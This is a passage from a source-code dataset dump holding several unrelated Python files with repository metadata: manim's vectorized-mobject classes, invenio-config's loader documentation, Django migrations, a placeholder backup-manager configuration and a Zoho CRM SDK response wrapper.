target_num = 15, this would # be [0, 0, 1, 2, 2, 3, 4, 4, 5, 6, 6, 7, 8, 8, 9] repeat_indices = (np.arange(target_num) * curr_num) // target_num # If the nth term of this list is k, it means # that the nth curve of our path should be split # into k pieces. In the above example, this would # be [2, 1, 2, 1, 2, 1, 2, 1, 2, 1] split_factors = [sum(repeat_indices == i) for i in range(curr_num)] new_points = np.zeros((0, self.dim)) for quad, sf in zip(bezier_quads, split_factors): # What was once a single cubic curve defined # by "quad" will now be broken into sf # smaller cubic curves alphas = np.linspace(0, 1, sf + 1) for a1, a2 in zip(alphas, alphas[1:]): new_points = np.append( new_points, partial_bezier_points(quad, a1, a2), axis=0 ) return new_points def align_rgbas(self, vmobject): attrs = ["fill_rgbas", "stroke_rgbas", "background_stroke_rgbas"] for attr in attrs: a1 = getattr(self, attr) a2 = getattr(vmobject, attr) if len(a1) > len(a2): new_a2 = stretch_array_to_length(a2, len(a1)) setattr(vmobject, attr, new_a2) elif len(a2) > len(a1): new_a1 = stretch_array_to_length(a1, len(a2)) setattr(self, attr, new_a1) return self def get_point_mobject(self, center=None): if center is None: center = self.get_center() point = VectorizedPoint(center) point.match_style(self) return point def interpolate_color(self, mobject1, mobject2, alpha): attrs = [ "fill_rgbas", "stroke_rgbas", "background_stroke_rgbas", "stroke_width", "background_stroke_width", "sheen_direction", "sheen_factor", ] for attr in attrs: setattr( self, attr, interpolate(getattr(mobject1, attr), getattr(mobject2, attr), alpha), ) if alpha == 1.0: setattr(self, attr, getattr(mobject2, attr)) def pointwise_become_partial( self, vmobject: "VMobject", a: float, b: float ) -> "VMobject": """Given two bounds a and b, transforms the points of the self vmobject into the points of the vmobject passed as parameter with respect to the bounds. Points here stand for control points of the bezier curves (anchors and handles) Parameters ---------- vmobject : VMobject The vmobject that will serve as a model. a : float upper-bound. b : float lower-bound """ assert isinstance(vmobject, VMobject) # Partial curve includes three portions: # - A middle section, which matches the curve exactly # - A start, which is some ending portion of an inner cubic # - An end, which is the starting portion of a later inner cubic if a <= 0 and b >= 1: self.set_points(vmobject.points) return self bezier_quads = vmobject.get_cubic_bezier_tuples() num_cubics = len(bezier_quads) # The following two lines will compute which bezier curves of the given mobject need to be processed. # The residue basically indicates de proportion of the selected bezier curve that have to be selected. # Ex : if lower_index is 3, and lower_residue is 0.4, then the algorithm will append to the points 0.4 of the third bezier curve lower_index, lower_residue = integer_interpolate(0, num_cubics, a) upper_index, upper_residue = integer_interpolate(0, num_cubics, b) self.clear_points() if num_cubics == 0: return self if lower_index == upper_index: self.append_points( partial_bezier_points( bezier_quads[lower_index], lower_residue, upper_residue ) ) else: self.append_points( partial_bezier_points(bezier_quads[lower_index], lower_residue, 1) ) for quad in bezier_quads[lower_index + 1 : upper_index]: self.append_points(quad) self.append_points( partial_bezier_points(bezier_quads[upper_index], 0, upper_residue) ) return self def get_subcurve(self, a: float, b: float) -> "VMobject": """Returns the subcurve of the VMobject between the interval [a, b]. The curve is a VMobject itself. Parameters ---------- a The lower bound. b The upper bound. Returns ------- VMobject The subcurve between of [a, b] """ vmob = self.copy() vmob.pointwise_become_partial(self, a, b) return vmob def get_direction(self): """Uses :func:`~.space_ops.shoelace_direction` to calculate the direction. The direction of points determines in which direction the object is drawn, clockwise or counterclockwise. Examples -------- The default direction of a :class:`~.Circle` is counterclockwise:: >>> from manim import Circle >>> Circle().get_direction() 'CCW' Returns ------- :class:`str` Either ``"CW"`` or ``"CCW"``. """ return shoelace_direction(self.get_start_anchors()) def reverse_direction(self): """Reverts the point direction by inverting the point order. Returns ------- :class:`VMobject` Returns self. Examples -------- .. manim:: ChangeOfDirection class ChangeOfDirection(Scene): def construct(self): ccw = RegularPolygon(5) ccw.shift(LEFT).rotate cw = RegularPolygon(5) cw.shift(RIGHT).reverse_direction() self.play(Create(ccw), Create(cw), run_time=4) """ self.points = self.points[::-1] return self def force_direction(self, target_direction): """Makes sure that points are either directed clockwise or counterclockwise. Parameters ---------- target_direction : :class:`str` Either ``"CW"`` or ``"CCW"``. """ if target_direction not in ("CW", "CCW"): raise ValueError('Invalid input for force_direction. Use "CW" or "CCW"') if self.get_direction() != target_direction: # Since we already assured the input is CW or CCW, # and the directions don't match, we just reverse self.reverse_direction() return self class VGroup(VMobject): """A group of vectorized mobjects. This can be used to group multiple :class:`~.VMobject` instances together in order to scale, move, ... them together. Examples -------- To add :class:`~.VMobject`s to a :class:`~.VGroup`, you can either use the :meth:`~.VGroup.add` method, or use the `+` and `+=` operators. Similarly, you can subtract elements of a VGroup via :meth:`~.VGroup.remove` method, or `-` and `-=` operators: >>> from manim import Triangle, Square, VGroup >>> vg = VGroup() >>> triangle, square = Triangle(), Square() >>> vg.add(triangle) VGroup(Triangle) >>> vg + square # a new VGroup is constructed VGroup(Triangle, Square) >>> vg # not modified VGroup(Triangle) >>> vg += square; vg # modifies vg VGroup(Triangle, Square) >>> vg.remove(triangle) VGroup(Square) >>> vg - square; # a new VGroup is constructed VGroup() >>> vg # not modified VGroup(Square) >>> vg -= square; vg # modifies vg VGroup() .. manim:: ArcShapeIris :save_last_frame: class ArcShapeIris(Scene): def construct(self): colors = [DARK_BROWN, BLUE_E, BLUE_D, BLUE_A, TEAL_B, GREEN_B, YELLOW_E] radius = [1 + rad * 0.1 for rad in range(len(colors))] circles_group = VGroup() # zip(radius, color) makes the iterator [(radius[i], color[i]) for i in range(radius)] circles_group.add(*[Circle(radius=rad, stroke_width=10, color=col) for rad, col in zip(radius, colors)]) self.add(circles_group) """ def __init__(self, *vmobjects, **kwargs): VMobject.__init__(self, **kwargs) self.add(*vmobjects) def __repr__(self): return ( self.__class__.__name__ + "(" + ", ".join(str(mob) for mob in self.submobjects) + ")" ) def __str__(self): return ( f"{self.__class__.__name__} of {len(self.submobjects)} " f"submobject{'s' if len(self.submobjects) > 0 else ''}" ) def add(self, *vmobjects): """Checks if all passed elements are an instance of VMobject and then add them to submobjects Parameters ---------- vmobjects : :class:`~.VMobject` List of VMobject to add Returns ------- :class:`VGroup` Raises ------ TypeError If one element of the list is not an instance of VMobject Examples -------- .. manim:: AddToVGroup class AddToVGroup(Scene): def construct(self): circle_red = Circle(color=RED) circle_green = Circle(color=GREEN) circle_blue = Circle(color=BLUE) circle_red.shift(LEFT) circle_blue.shift(RIGHT) gr = VGroup(circle_red, circle_green) gr2 = VGroup(circle_blue) # Constructor uses add directly self.add(gr,gr2) self.wait() gr += gr2 # Add group to another self.play( gr.animate.shift(DOWN), ) gr -= gr2 # Remove group self.play( # Animate groups separately gr.animate.shift(LEFT), gr2.animate.shift(UP), ) self.play( #Animate groups without modification (gr+gr2).animate.shift(RIGHT) ) self.play( # Animate group without component (gr-circle_red).animate.shift(RIGHT) ) """ if not all(isinstance(m, VMobject) for m in vmobjects): raise TypeError("All submobjects must be of type VMobject") return super().add(*vmobjects) def __add__(self, vmobject): return VGroup(*self.submobjects, vmobject) def __iadd__(self, vmobject): return self.add(vmobject) def __sub__(self, vmobject): copy = VGroup(*self.submobjects) copy.remove(vmobject) return copy def __isub__(self, vmobject): return self.remove(vmobject) class VDict(VMobject): """A VGroup-like class, also offering submobject access by key, like a python dict Parameters ---------- mapping_or_iterable : Union[:class:`Mapping`, Iterable[Tuple[Hashable, :class:`~.VMobject`]]], optional The parameter specifying the key-value mapping of keys and mobjects. show_keys : :class:`bool`, optional Whether to also display the key associated with the mobject. This might be useful when debugging, especially when there are a lot of mobjects in the :class:`VDict`. Defaults to False. kwargs : Any Other arguments to be passed to `Mobject`. Attributes ---------- show_keys : :class:`bool` Whether to also display the key associated with the mobject. This might be useful when debugging, especially when there are a lot of mobjects in the :class:`VDict`. When displayed, the key is towards the left of the mobject. Defaults to False. submob_dict : :class:`dict` Is the actual python dictionary that is used to bind the keys to the mobjects. Examples -------- .. manim:: ShapesWithVDict class ShapesWithVDict(Scene): def construct(self): square = Square().set_color(RED) circle = Circle().set_color(YELLOW).next_to(square, UP) # create dict from list of tuples each having key-mobject pair pairs = [("s", square), ("c", circle)] my_dict = VDict(pairs, show_keys=True) # display it just like a VGroup self.play(Create(my_dict)) self.wait() text = Tex("Some text").set_color(GREEN).next_to(square, DOWN) # add a key-value pair by wrapping it in a single-element list of tuple # after attrs branch is merged, it will be easier like `.add(t=text)` my_dict.add([("t", text)]) self.wait() rect = Rectangle().next_to(text, DOWN) # can also do key assignment like a python dict my_dict["r"] = rect # access submobjects like a python dict my_dict["t"].set_color(PURPLE) self.play(my_dict["t"].animate.scale(3)) self.wait() # also supports python dict styled reassignment my_dict["t"] = Tex("Some other text").set_color(BLUE) self.wait() # remove submobject by key my_dict.remove("t") self.wait() self.play(Uncreate(my_dict["s"])) self.wait() self.play(FadeOut(my_dict["c"])) self.wait() self.play(FadeOut(my_dict["r"], shift=DOWN)) self.wait() # you can also make a VDict from an existing dict of mobjects plain_dict = { 1: Integer(1).shift(DOWN), 2: Integer(2).shift(2 * DOWN), 3: Integer(3).shift(3 * DOWN), } vdict_from_plain_dict = VDict(plain_dict) vdict_from_plain_dict.shift(1.5 * (UP + LEFT)) self.play(Create(vdict_from_plain_dict)) # you can even use zip vdict_using_zip = VDict(zip(["s", "c", "r"], [Square(), Circle(), Rectangle()])) vdict_using_zip.shift(1.5 * RIGHT) self.play(Create(vdict_using_zip)) self.wait() """ def __init__(self, mapping_or_iterable={}, show_keys=False, **kwargs): VMobject.__init__(self, **kwargs) self.show_keys = show_keys self.submob_dict = {} self.add(mapping_or_iterable) def __repr__(self): return __class__.__name__ + "(" + repr(self.submob_dict) + ")" def add(self, mapping_or_iterable): """Adds the key-value pairs to the :class:`VDict` object. Also, it internally adds the value to the `submobjects` :class:`list` of :class:`~.Mobject`, which is responsible for actual on-screen display. Parameters --------- mapping_or_iterable : Union[:class:`Mapping`, Iterable[Tuple[Hashable, :class:`~.VMobject`]]], optional The parameter specifying the key-value mapping of keys and mobjects. Returns ------- :class:`VDict` Returns the :class:`VDict` object on which this method was called. Examples -------- Normal usage:: square_obj = Square() my_dict.add([('s', square_obj)]) """ for key, value in dict(mapping_or_iterable).items(): self.add_key_value_pair(key, value) return self def remove(self, key): """Removes the mobject from the :class:`VDict` object having the key `key` Also, it internally removes the mobject from the `submobjects` :class:`list` of :class:`~.Mobject`, (which is responsible for removing it from the screen) Parameters ---------- key : :class:`typing.Hashable` The key of the submoject to be removed. Returns ------- :class:`VDict` Returns the :class:`VDict` object on which this method was called. Examples -------- Normal usage:: my_dict.remove('square') """ if key not in self.submob_dict: raise KeyError("The given key '%s' is not present in the VDict" % str(key)) super().remove(self.submob_dict[key]) del self.submob_dict[key] return self def __getitem__(self, key): """Override the [] operator for item retrieval. Parameters ---------- key : :class:`typing.Hashable` The key of the submoject to be accessed Returns ------- :class:`VMobject` The submobject corresponding to the key `key` Examples -------- Normal usage:: self.play(Create(my_dict['s'])) """ submob = self.submob_dict[key] return submob def __setitem__(self, key, value): """Override the [] operator for item assignment. Parameters ---------- key : :class:`typing.Hashable` The key of the submoject to be assigned value : :class:`VMobject` The submobject to bind the key to Returns ------- None Examples -------- Normal usage:: square_obj = Square() my_dict['sq'] = square_obj """ if key in self.submob_dict: self.remove(key) self.add([(key, value)]) def __delitem__(self, key): """Override the del operator for deleting an item. Parameters ---------- key : :class:`typing.Hashable` The key of the submoject to be deleted Returns ------- None Examples -------- :: >>> from manim import * >>> my_dict = VDict({'sq': Square()}) >>> 'sq' in my_dict True >>> del my_dict['sq'] >>> 'sq' in my_dict False Notes ----- Removing an item from a VDict does not remove that item from any Scene that the VDict is part of. """ del self.submob_dict[key] def __contains__(self, key): """Override the in operator. Parameters ---------- key : :class:`typing.Hashable` The key to check membership of. Returns ------- :class:`bool` Examples -------- :: >>> from manim import * >>> my_dict = VDict({'sq': Square()}) >>> 'sq' in my_dict True """ return key in self.submob_dict def get_all_submobjects(self): """To get all the submobjects associated with a particular :class:`VDict` object Returns ------- :class:`dict_values` All the submobjects associated with the :class:`VDict` object Examples -------- Normal usage:: for submob in my_dict.get_all_submobjects(): self.play(Create(submob)) """ submobjects = self.submob_dict.values() return submobjects def add_key_value_pair(self, key, value): """A utility function used by :meth:`add` to add the key-value pair to :attr:`submob_dict`. Not really meant to be used externally. Parameters ---------- key : :class:`typing.Hashable` The key of the submobject to be added. value : :class:`~.VMobject` The mobject associated with the key Returns ------- None Raises ------ TypeError If the value is not an instance of VMobject Examples -------- Normal usage:: square_obj = Square() self.add_key_value_pair('s', square_obj) """ if not isinstance(value, VMobject): raise TypeError("All submobjects must be of type VMobject") mob = value if self.show_keys: # This import is here and not at the top to avoid circular import from ...mobject.svg.tex_mobject import Tex key_text = Tex(str(key)).next_to(value, LEFT) mob.add(key_text) self.submob_dict[key] = mob super().add(value) class VectorizedPoint(metaclass=MetaVMobject): def __init__( self, location=ORIGIN, color=BLACK, fill_opacity=0, stroke_width=0, artificial_width=0.01, artificial_height=0.01, **kwargs, ): self.artificial_width = artificial_width self.artificial_height = artificial_height super().__init__( color=color, fill_opacity=fill_opacity, stroke_width=stroke_width, **kwargs, ) self.set_points(np.array([location])) basecls = OpenGLVMobject if config.renderer == "opengl" else VMobject @basecls.width.getter def width(self): return self.artificial_width @basecls.height.getter def height(self): return self.artificial_height def get_location(self): return np.array(self.points[0]) def set_location(self, new_loc): self.set_points(np.array([new_loc])) class CurvesAsSubmobjects(VGroup): """Convert a curve's elements to submobjects. Examples -------- .. manim:: LineGradientExample :save_last_frame: class LineGradientExample(Scene): def construct(self): curve = ParametricFunction(lambda t: [t, np.sin(t), 0], t_min = -PI, t_max=PI,stroke_width=10) new_curve = CurvesAsSubmobjects(curve) new_curve.set_color_by_gradient(BLUE, RED) self.add(new_curve.shift(UP), curve) """ def __init__(self, vmobject, **kwargs): VGroup.__init__(self, **kwargs) tuples = vmobject.get_cubic_bezier_tuples() for tup in tuples: part = VMobject() part.set_points(tup) part.match_style(vmobject) self.add(part) class DashedVMobject(metaclass=MetaVMobject): def __init__( self, vmobject, num_dashes=15, positive_space_ratio=0.5, color=WHITE, **kwargs ): self.num_dashes = num_dashes self.positive_space_ratio = positive_space_ratio super().__init__(color=color, **kwargs) ps_ratio = self.positive_space_ratio if num_dashes > 0: # End points of the unit interval for division alphas = np.linspace(0, 1, num_dashes + 1) # This determines the length of each "dash" full_d_alpha = 1.0 / num_dashes partial_d_alpha = full_d_alpha * ps_ratio # Shifts the alphas and removes the last dash # to give closed shapes even spacing if vmobject.is_closed(): alphas += partial_d_alpha / 2 np.delete(alphas, -1) # Rescale so that the last point of vmobject will # be the end of the last dash else: alphas /= 1 - full_d_alpha + partial_d_alpha self.add( *[ vmobject.get_subcurve(alpha, alpha + partial_d_alpha) for alpha in alphas[:-1] ] ) # Family is already taken care of by get_subcurve # implementation if config.renderer == "opengl": self.match_style(vmobject, recurse=False) else: self.match_style(vmobject, family=False)

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0.585831

514ba03cc63ab809bf94dc1ed018cf092b5aec5b

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py

Python

invenio_config/__init__.py

invenio-toaster/invenio-config

ed5d2a30bdfceb030b8364dbdcb2c239bc340969

[ "MIT" ]

4

2015-10-12T07:26:57.000Z

2017-10-22T00:30:54.000Z

invenio_config/__init__.py

invenio-toaster/invenio-config

ed5d2a30bdfceb030b8364dbdcb2c239bc340969

[ "MIT" ]

28

2015-10-12T14:54:50.000Z

2020-12-03T15:02:17.000Z

invenio_config/__init__.py

invenio-toaster/invenio-config

ed5d2a30bdfceb030b8364dbdcb2c239bc340969

[ "MIT" ]

25

2015-10-07T16:20:54.000Z

2021-11-25T09:42:43.000Z

# -*- coding: utf-8 -*- # # This file is part of Invenio. # Copyright (C) 2015-2018 CERN. # # Invenio is free software; you can redistribute it and/or modify it # under the terms of the MIT License; see LICENSE file for more details. """Invenio configuration loader. Invenio-Config is a *base package* of the Invenio digital library framework. It is usually installed automatically as a dependency. It should facilitate configuration loading from various sources to an application instance. The following configuration loaders exists: - :py:data:`invenio_config.default.InvenioConfigDefault` - ensure required configuration values are set. - :py:data:`invenio_config.module.InvenioConfigModule` - for loading configuration from a Python module. - :py:data:`invenio_config.entrypoint.InvenioConfigEntryPointModule` - for loading configuration from a Python module specified by an entry point (by default ``invenio_config.module``). - :py:data:`invenio_config.folder.InvenioConfigInstanceFolder` - for loading configuration from ``cfg`` file in an instance folder. - :py:data:`invenio_config.env.InvenioConfigEnvironment` - for loading configuration from environment variables with defined prefix (e.g. ``INVENIO_SECRET_KEY``). It also includes configuration loader factory that it is used to merge these sources in predefined order ensuring correct behavior in common scenarios. Initialization -------------- Following example needs a writable instance folder, hence we start by creating a temporary directory. >>> import tempfile >>> tmppath = tempfile.mkdtemp() .. testcode:: :hide: import atexit import shutil atexit.register(lambda: shutil.rmtree(tmppath)) Now we can create a Flask application: >>> from flask import Flask >>> app = Flask('myapp', instance_path=tmppath, instance_relative_config=True) Loaders ------- You can check default configuration values in newly created ``app``. >>> 'DEBUG' in app.config True >>> app.config.get('SECRET_KEY') is None True Default ~~~~~~~ The default configuration loader makes sure that the required configuration values are always loaded. You should call it **after** all configuration loaders have been already called. The following default configuration values exist: - :py:data:`SECRET_KEY` - A secret key that will be used for securely signing the session cookie and can be used for any other security related needs. - :py:data:`~invenio_config.default.ALLOWED_HTML_TAGS` - allowed tags used for html sanitizing by bleach. - :py:data:`~invenio_config.default.ALLOWED_HTML_ATTRS` - allowed attributes used for html sanitizing by bleach. The default configuration loader will warn if the ``SECRET_KEY`` is not defined: >>> import warnings >>> from invenio_config import InvenioConfigDefault >>> with warnings.catch_warnings(record=True) as w: ... config_default = InvenioConfigDefault(app=app) ... assert len(w) == 1 >>> app.config['SECRET_KEY'] 'CHANGE_ME' Module ~~~~~~ The module loader accepts an object and proxies the call to :meth:`flask.Config.from_object`. Here is an example of a configuration object: >>> class Config: ... EXAMPLE = 'module' >>> from invenio_config import InvenioConfigModule >>> config_module = InvenioConfigModule(app=app, module=Config) >>> app.config['EXAMPLE'] 'module' Entry point ~~~~~~~~~~~ The entry point loader works similar to the module loader, it just loads the config module from the entry point ``invenio_config.module``: >>> from invenio_config import InvenioConfigEntryPointModule >>> config_ep = InvenioConfigEntryPointModule(app=app) Instance Folder ~~~~~~~~~~~~~~~ The runtime configuration should be stored in a separate file, ideally located outiside the actual application package. The configuration files are handled as Python files where only variables in uppercase are stored in the application config. >>> import os >>> from invenio_config import InvenioConfigInstanceFolder >>> with open(os.path.join(tmppath, 'myapp.cfg'), 'w') as f: ... result = f.write("EXAMPLE = 'instance folder'") >>> config_instance_folder = InvenioConfigInstanceFolder(app=app) >>> app.config['EXAMPLE'] 'instance folder' Environment ~~~~~~~~~~~ Using environment variables is very handy when it comes to configuring connections to services like database, Redis server, RabbitMQ, etc. used via containers (e.g. Docker). In order to protect your application from reading environment variables set by the system or other applications, you should define a variable prefix used by the loader. >>> os.environ['MYAPP_EXAMPLE'] = 'environment' >>> from invenio_config import InvenioConfigEnvironment >>> config_environment = InvenioConfigEnvironment(app=app, prefix='MYAPP_') >>> app.config['EXAMPLE'] 'environment' You can also set more complex Python literal variables (e.g. dictionaries or lists): >>> os.environ['MYAPP_COMPLEX'] = "{'items': [{'num': 42}, {'foo': 'bar'}]}" >>> # ...or export MYAPP_COMPLEX="{'items': [{'num': 42}, {'foo': 'bar'}]}" >>> config_environment = InvenioConfigEnvironment(app=app, prefix='MYAPP_') >>> app.config['COMPLEX'] {'items': [{'num': 42}, {'foo': 'bar'}]} Factory Pattern --------------- The Invenio-Config comes with an opinionated way of loading configuration, that combines loaders in predictable way. You can use :func:`invenio_config.utils.create_config_loader` if you would like to: 1. Load configuration from ``invenio_config.module`` entry point group. 2. Load configuration from ``config`` module if provided as argument. 3. Load configuration from the instance folder: ``<app.instance_path>/<app.name>.cfg``. 4. Load configuration keyword arguments provided. 5. Load configuration from environment variables with the prefix ``env_prefix``. >>> from invenio_config import create_config_loader >>> app = Flask('myapp', instance_path=tmppath, instance_relative_config=True) >>> config_loader = create_config_loader(config=Config, env_prefix='MYAPP') >>> config_loader(app=app, MYARG='config loader') >>> app.config['EXAMPLE'] 'environment' >>> app.config['MYARG'] 'config loader' """ from __future__ import absolute_import, print_function from .default import InvenioConfigDefault from .entrypoint import InvenioConfigEntryPointModule from .env import InvenioConfigEnvironment from .folder import InvenioConfigInstanceFolder from .module import InvenioConfigModule from .utils import create_conf_loader, create_config_loader from .version import __version__ __all__ = ( '__version__', 'InvenioConfigDefault', 'InvenioConfigEntryPointModule', 'InvenioConfigEnvironment', 'InvenioConfigInstanceFolder', 'InvenioConfigModule', 'create_conf_loader', 'create_config_loader', )

34.695876

79

0.756797

f8ac8655d090ff92d2b25abc70dca58017a2f82d

792

py

Python

app/migrations/0011_auto_20171212_1655.py

nevooronni/RideAlong

0921c0b77d7fbc4c9595d497648f5b40e2d87000

[ "MIT" ]

1

2019-01-24T01:02:55.000Z

app/migrations/0011_auto_20171212_1655.py

nevooronni/RideAlong

0921c0b77d7fbc4c9595d497648f5b40e2d87000

[ "MIT" ]

null

app/migrations/0011_auto_20171212_1655.py

nevooronni/RideAlong

0921c0b77d7fbc4c9595d497648f5b40e2d87000

[ "MIT" ]

null

# Generated by Django 2.0 on 2017-12-12 13:55 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app', '0010_auto_20171211_2354'), ] operations = [ migrations.AlterField( model_name='driverprofile', name='gender', field=models.TextField(blank=True, choices=[('Female', 'female'), ('Male', 'male'), ('Both', 'both'), ('None', 'non-specified')], default='None', max_length=50), ), migrations.AlterField( model_name='riderprofile', name='gender', field=models.CharField(blank=True, choices=[('Female', 'female'), ('Male', 'male'), ('Both', 'both'), ('None', 'non-specified')], default='None', max_length=30), ), ]

33

173

0.579545

a60cb361e13aa8af9a1d07f81d10939120a380f7

1,085

py

Python

configexample.py

sergioamorim/backup_manager

f581fd455d25c1b06d31802de013d22be7c1ed64

[ "MIT" ]

null

configexample.py

sergioamorim/backup_manager

f581fd455d25c1b06d31802de013d22be7c1ed64

[ "MIT" ]

null

configexample.py

sergioamorim/backup_manager

f581fd455d25c1b06d31802de013d22be7c1ed64

[ "MIT" ]

null

from paramiko import RSAKey ssh_client_options = { 'hosts_keys_filename': '/path/to/known_hosts', } routerboards = [ { 'name': 'router-identification', 'backup_options': { 'backups_directory': '/path/to/save/the/backup/files/with/trailing/slash/', 'assertion_options': { 'seconds_to_timeout': 10, 'minimum_size_in_bytes': 77 } }, 'backup_password': 'pass', # used to encrypt the .backup file 'credentials': { 'username': 'some_username', 'hostname': 'some_hostname_or_ip', 'port': 65535, 'pkey': RSAKey(filename='/path/to/private_key') } } ] myauth = { 'backup_settings': { 'local_backups_directory': '/path/to/save/the/backup/files/with/trailing/slash/', 'remote_backups_directory': '/admin/backup/', 'keeping_backups_quantity': 7 # backups older then this number of days will be deleted from the server }, 'credentials': { 'username': 'some_username', 'hostname': 'some_hostname_or_ip', 'port': 65535, 'pkey': RSAKey(filename='/path/to/private_key') } }

27.125

107

0.645161

6fe56dcfbcfff4f3905e153e764bbeeed71f45c4

3,974

py

Python

approvals/migrations/0001_initial.py

xzzy/statdev

b2c3eb3ad4d8aab44d0f67fc526da1a69b4d86a2

[ "Apache-2.0" ]

null

approvals/migrations/0001_initial.py

xzzy/statdev

b2c3eb3ad4d8aab44d0f67fc526da1a69b4d86a2

[ "Apache-2.0" ]

7

2017-03-13T02:00:21.000Z

2018-01-02T04:03:02.000Z

approvals/migrations/0001_initial.py

xzzy/statdev

b2c3eb3ad4d8aab44d0f67fc526da1a69b4d86a2

[ "Apache-2.0" ]

2

2017-02-16T02:18:21.000Z

2017-02-16T02:22:02.000Z

# -*- coding: utf-8 -*- # Generated by Django 1.10.8 on 2019-08-06 02:49 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('accounts', '0023_communicationslogentry_log_type'), ('applications', '0001_initial'), ] operations = [ migrations.CreateModel( name='Approval', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('app_type', models.IntegerField(choices=[(1, 'Permit'), (2, 'Licence/permit'), (3, 'Part 5'), (4, 'Emergency works'), (5, 'Part 5 - Amendment Request'), (6, 'Part 5 - Amendment Application'), (7, 'Test - Application'), (8, 'Amend Permit'), (9, 'Amend Licence'), (10, 'Renew Permit'), (11, 'Renew Licence')])), ('title', models.CharField(max_length=254)), ('issue_date', models.DateField(auto_now_add=True, null=True)), ('start_date', models.DateField(blank=True, null=True)), ('expiry_date', models.DateField(blank=True, null=True)), ('status', models.IntegerField(choices=[(1, 'Current'), (2, 'Expired'), (3, 'Cancelled'), (4, 'Surrendered'), (5, 'Suspended'), (6, 'Reinstate')])), ('suspend_from_date', models.DateField(blank=True, null=True)), ('suspend_to_date', models.DateField(blank=True, null=True)), ('reinstate_date', models.DateField(blank=True, null=True)), ('cancellation_date', models.DateField(blank=True, null=True)), ('surrender_date', models.DateField(blank=True, null=True)), ('details', models.TextField(blank=True, null=True)), ('ammendment_application', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='ammendment_application', to='applications.Application')), ('applicant', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='applicant_holder', to=settings.AUTH_USER_MODEL)), ('application', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='application', to='applications.Application')), ('approval_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='approval_document', to='applications.Record')), ('organisation', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='accounts.Organisation')), ], ), migrations.CreateModel( name='CommunicationApproval', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('comms_to', models.CharField(blank=True, max_length=256, null=True)), ('comms_from', models.CharField(blank=True, max_length=256, null=True)), ('subject', models.CharField(blank=True, max_length=256, null=True)), ('comms_type', models.IntegerField(choices=[(0, 'None'), (1, 'Phone'), (2, 'Email'), (3, 'Mail'), (4, 'System')], default=0)), ('details', models.TextField(blank=True, null=True)), ('state', models.IntegerField(blank=True, null=True)), ('created', models.DateTimeField(auto_now_add=True)), ('approval', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='approvals.Approval')), ('records', models.ManyToManyField(blank=True, related_name='communication_approvals_docs', to='applications.Record')), ], ), ]

66.233333

326

0.632109

24a35c650f2156510cfae50959664263b5147484

2,149

py

Python

zcrmsdk/src/com/zoho/crm/api/territories/response_wrapper.py

zoho/zohocrm-python-sdk-2.0

3a93eb3b57fed4e08f26bd5b311e101cb2995411

[ "Apache-2.0" ]

null

zcrmsdk/src/com/zoho/crm/api/territories/response_wrapper.py

zoho/zohocrm-python-sdk-2.0

3a93eb3b57fed4e08f26bd5b311e101cb2995411

[ "Apache-2.0" ]

null

zcrmsdk/src/com/zoho/crm/api/territories/response_wrapper.py

zoho/zohocrm-python-sdk-2.0

3a93eb3b57fed4e08f26bd5b311e101cb2995411

[ "Apache-2.0" ]

null

try: from zcrmsdk.src.com.zoho.crm.api.exception import SDKException from zcrmsdk.src.com.zoho.crm.api.util import Constants from zcrmsdk.src.com.zoho.crm.api.territories.response_handler import ResponseHandler except Exception: from ..exception import SDKException from ..util import Constants from .response_handler import ResponseHandler class ResponseWrapper(ResponseHandler): def __init__(self): """Creates an instance of ResponseWrapper""" super().__init__() self.__territories = None self.__key_modified = dict() def get_territories(self): """ The method to get the territories Returns: list: An instance of list """ return self.__territories def set_territories(self, territories): """ The method to set the value to territories Parameters: territories (list) : An instance of list """ if territories is not None and not isinstance(territories, list): raise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: territories EXPECTED TYPE: list', None, None) self.__territories = territories self.__key_modified['territories'] = 1 def is_key_modified(self, key): """ The method to check if the user has modified the given key Parameters: key (string) : A string representing the key Returns: int: An int representing the modification """ if key is not None and not isinstance(key, str): raise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: key EXPECTED TYPE: str', None, None) if key in self.__key_modified: return self.__key_modified.get(key) return None def set_key_modified(self, key, modification): """ The method to mark the given key as modified Parameters: key (string) : A string representing the key modification (int) : An int representing the modification """ if key is not None and not isinstance(key, str): raise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: key EXPECTED TYPE: str', None, None) if modification is not None and not isinstance(modification, int): raise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: modification EXPECTED TYPE: int', None, None) self.__key_modified[key] = modification

27.551282

100

0.741275

f07937b21d4b3652d451a10cb90fd13f131b8fbb

3,995

py

Python

management_layer/transformation.py

hedleyroos/core-management-layer

2a25bf5fb44fd511b8b2626ec09a4bc05098334c

[ "BSD-3-Clause" ]

null

management_layer/transformation.py

hedleyroos/core-management-layer

2a25bf5fb44fd511b8b2626ec09a4bc05098334c

[ "BSD-3-Clause" ]

90

2018-01-23T10:30:01.000Z

2019-01-31T10:53:42.000Z

management_layer/transformation.py

hedleyroos/core-management-layer

2a25bf5fb44fd511b8b2626ec09a4bc05098334c

[ "BSD-3-Clause" ]

1

2021-08-17T14:16:23.000Z

